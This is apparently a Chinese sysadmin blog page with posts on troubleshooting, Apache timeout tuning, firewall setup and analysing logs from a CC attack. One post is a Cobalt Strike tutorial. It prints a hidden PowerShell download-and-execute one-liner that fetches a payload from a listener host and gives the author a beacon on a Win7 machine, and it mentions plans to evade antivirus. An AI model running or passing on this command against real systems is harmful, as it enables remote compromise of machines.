knickers 发布的文章

常见问题解决思路(故障排查思路):
重视错误提示,当错误出现时,查看错误信息,有目的地的去解决查找问题,将会节省大量的时间。
查看日志文件,有的问题出现后,不同问题的报错信息可能会是同一个(eg:frp报错i/o time out有可能是端口占用,有可能是客户端服务端版本不同。),此时则需要查看系统日志或者应用日志。
分析定位问题的原因。(注意备份文件,格式xxx-2017-xx-xx-1/2/3.bak)
解决问题。(通过查找资料或者翻阅官方文档、eg:tomcat启动时间久,官方文档给出了解决方案。)

系统无法启动的可能原因:
文件系统被破坏
系统重要文件被删除或修改(如hosts文件修改后无法进入系统,只能进入dos界面。)
Linux内核文件丢失。
引导分区(程序)出现问题,无法进入系统。
硬件问题(如服务器内存频率不同)。

一个朋友在qq问我apache并发优化怎么做,我说网上有文章,服务器设置并发他设置了,但是访问量不是很高的时候就已经死了,简单看了下配置,没有问题,简单推荐下apache还是和linux 配合,win下还是有些需要优化的地方不太好,后来看错误日志,分析出连接后未设置超时时间,本文做个记录。是上线的服务器,打码厚一些。
服务器配置还是不错的 16g+e5620*2

 ’
QQ20190331-141930@2x.png
QQ20190331-141942@2x.png
问题就在这里。

其实我win下的设置不是很懂,也是边谷歌边弄,上线服务器就是多备份了。
QQ20190331-141950@2x.png
根据日志谷歌了一下,没有什么有用的,把php的session开启了也还是存在问题。
下面说下解决方法:
QQ20190331-141956@2x.png
一个是设置并发的。
另一个是设置timeout时间。否则的话存在大量空连接,占用线程。
httpd-default.conf设置
在httpd.conf中去掉Include conf/extra/httpd-default.conf前的#以使httpd-default.php生效。我们需要调节以下参数:
Timeout 20
该参数为连接超时,缺省的300秒显然太大,缩小该参数就会减少同时连接数,即用户实际占用的线程数,这样就可以起到配合上面ThreadsPerChlid参数的作用。
KeepAlive On
该参数为是否保持活连接,目前网站中一个页面一般会包含多个文件,所以相应用户访问时会有多个请求,因此开启可以提高服务器性能。
MaxKeepAliveRequests 50
该参数为最大的活连接请求数,可以根据网页实际包含的文件数目自行调节。
KeepAliveTimeout 5
该参数为活连接的超时时间,一般只要设置成小于Timeout即可。
这样设置后,Apache在响应请求和防止恶意攻击方面就取得较为平衡的效果,当然由于内存回收机制和进程管理不同,Windows下长期运行 Apache还是不如Unix稳定,因此我们可以让Apache在每天凌晨访问人数少时自动重启一次,以回收资源。用Windows自带的计划任务就可以 简单的实现。这样,我们就使Apache在Windows平台下像Unix一样长期稳定的提供服务了。
ps:最后还是让他写了个定时重启apache的脚本。防止在出现这种情况。

Cobalt Strike安装使用并回弹一个shell
Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。也是一个C/S结构的工具
首先登陆远程服务器,cs是一个团队协作的工具,而且可以隐藏后端攻击者ip,所以远程登录到服务器上,并安装java8
QQ20190331-140757@2x.png
在服务器上执行
./teamserver 10.14.4.16 123
ip是你服务器的公网/内网地址 123是连接密码
QQ20190331-140812@2x.png
在客户端上运行。
QQ20190331-140827@2x.png
用户名随意,密码123
连接后
QQ20190331-140835@2x.png
这就已经成功连接到服务器上了。
QQ20190331-140843@2x.png
接下来创建一个监听事件
QQ20190331-140851@2x.png
在这里创建一个监听事件,监听端口选择8088
QQ20190331-140858@2x.png
beacon的地址也选择外网地址反射回的,如果前端没有其他转发服务器的话。
QQ20190331-140904@2x.png

监听建立成功。
接下来生成shell
attacks》web drive-by》
QQ20190331-140918@2x.png

目标机器是win7,那么我使用powershell来远程下载。
QQ20190331-140939@2x.png
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.14.4.16:80/aaaa'))"

生成代码已经给出了
QQ20190331-140946@2x.png
在win下执行命令
QQ20190331-141000@2x.png
可以看到,已经上线了。
稍后可能会写怎么绕过火绒的提醒,执行shell

防火墙有三种连接方式:网桥————作用相当于一段网线
路由————NAT/路由器
混合————内口--vlan/外口—公网/DMZ—vlan
混合型:内口和DMZ划一个Vlan,以防火墙为网关。

注意:单电开机,有警报声有一个按键去掉响声。COM口连接 PORT9600
关机,重启机器,配置笔记本IP为192.168.1.X网段,255.255.255.0,用网线接设备的eth0口,通过IE浏览器输入https://192.168.1.100,登录防火墙开始进行配置。
QQ20190331-140144@2x.png

缺省登录地址:https://192.168.1.100
8光口/6个常口、root用户无法修改配置,需要admin或者其他用户。
一般强行全双工(100M/1000M)
外/内口ip配置:eth0假设管理口,(非com)
Eth1和eth2为内外网接口,初次登录需将接口“模式”从二层改为三层,并配置IP地址,然后启用WebAuth以方便日后用该IP进行设备的管理。
eth1为内网接口:192.168.0.1 24位掩码
eth2位外网接口:202.103.1.2 24位掩码
QQ20190331-140158@2x.png
配置安全域:
in 内安全域 eth1
out 外安全域 eth2
QQ20190331-140206@2x.png
路由:
0.0.0.0/0
出口 eth2
网关:电信提供202.103.1.1
跳数1
QQ20190331-140214@2x.png
地址转换:定义映射(NAT转换)
依次展开配置——地址转换——地址映射
地址映射:单————单
源地址转换:多————单(内转公)
目的地址转换:(公转内)
从内出外 eth1 (2) 从外入内 eth2(3)
访问策略:
策略 in——out
原192.168.0.1/254
目的 any 允许
out——in
内192.168.0.2 ip ——80
原 1-65535 启用
void不可重复

导出配置文件

点击“整机配置”,输入文件名,然后点击保存按钮

有个大佬晚上说他服务器被D了,大佬的服务器是我在负责运维,我记得我做过安全测试,前端cdn已经把后端的ip隐藏了。于是就在找原因。

QQ20190331-135248@2x.png
后来通过沟通知道,原来是新开的一个二级域名,直接指向了源服务器,bj.xxxxxx.xxx
通知大佬添加个cdn,域名做别名解析后,我就开始分析,这时候有人说nginx或者前端做一个代理,禁止ip直接访问,正好服务器是用的nginx。直接nginx.conf就可以禁止ip直接访问网站了。
QQ20190331-135305@2x.png
QQ20190331-135312@2x.png
主配置文件看到了vhost的配置文件
QQ20190331-135319@2x.png
找到配置文件后,!!!!先备份先备份先备份!!!!!!。
在按照正常的配置修改

server{
server_name _;
retrun 400;
}

发现主站也返回了400,无法访问。后来测试了一阵,(幸好是晚上。。。。。。线上服务器)
还是在主配置中修改server块。
QQ20190331-135326@2x.png
这里server_name直接填写的ip地址。
重启了下nginx -s reload,发现没有问题。功能实现了。
接下来是分析日志文件。
将日志文件down下来。最好不要再服务器弄,有时候日质量大对性能影响还是很大的。

开始我就怀疑是cc攻击。脱下来之后日志文件。

[bash]
root@knickers-ubuntu:/home/knickers/桌面# cat xxxxxx.log |awk '{print $1}'|sort|uniq -c|sort -nr|head -10
[/bash]

QQ20190331-135333@2x.png
上一条的命令是显示访问前10位的ip地址。用来查找攻击源。这里看到前三的ip访问量异常。

cat xxxxxx.log |awk '$4>="[02/Jan/2018:"' xxxxxxx.log|awk '{print $1}' |sort|uniq -c|sort -nr|head -10

QQ20190331-135343@2x.png
这条命令是分析2018/1/2日以后的攻击日志排行前十。可以看出,当天攻击的ip就是前三个了。
这里我通过iptables给这三台服务器ban掉。以后任何数据都drop。


iptables -I INPUT -s 61.160.245.190 -j DROP
iptables -I INPUT -s 61.174.50.66 -j DROP
iptables -I INPUT -s 180.97.172.9 -j DROP

至此,此次响应就到这,,,其实也不算响应,只不过是运维在服务器遭受攻击后一种分析路径。(日志分析还是比较重要的,不只是在排错过程中)
顺便再服务器用户目录下新建readme20180102.txt记录本次修改。(要有个好习惯)

QQ20190331-135351@2x.png
顺便追查了下61.160.245.xxx/61.174.50.xxx同属一个主机供应商,应该是服务器被攻击了。

# cat xxxx.log |awk '{print $1}'|sort|uniq -c > 1.txt

QQ20190331-135530@2x.png
可以看到同一B段的还是有些主机被用来做僵尸机了。
QQ20190331-135537@2x.png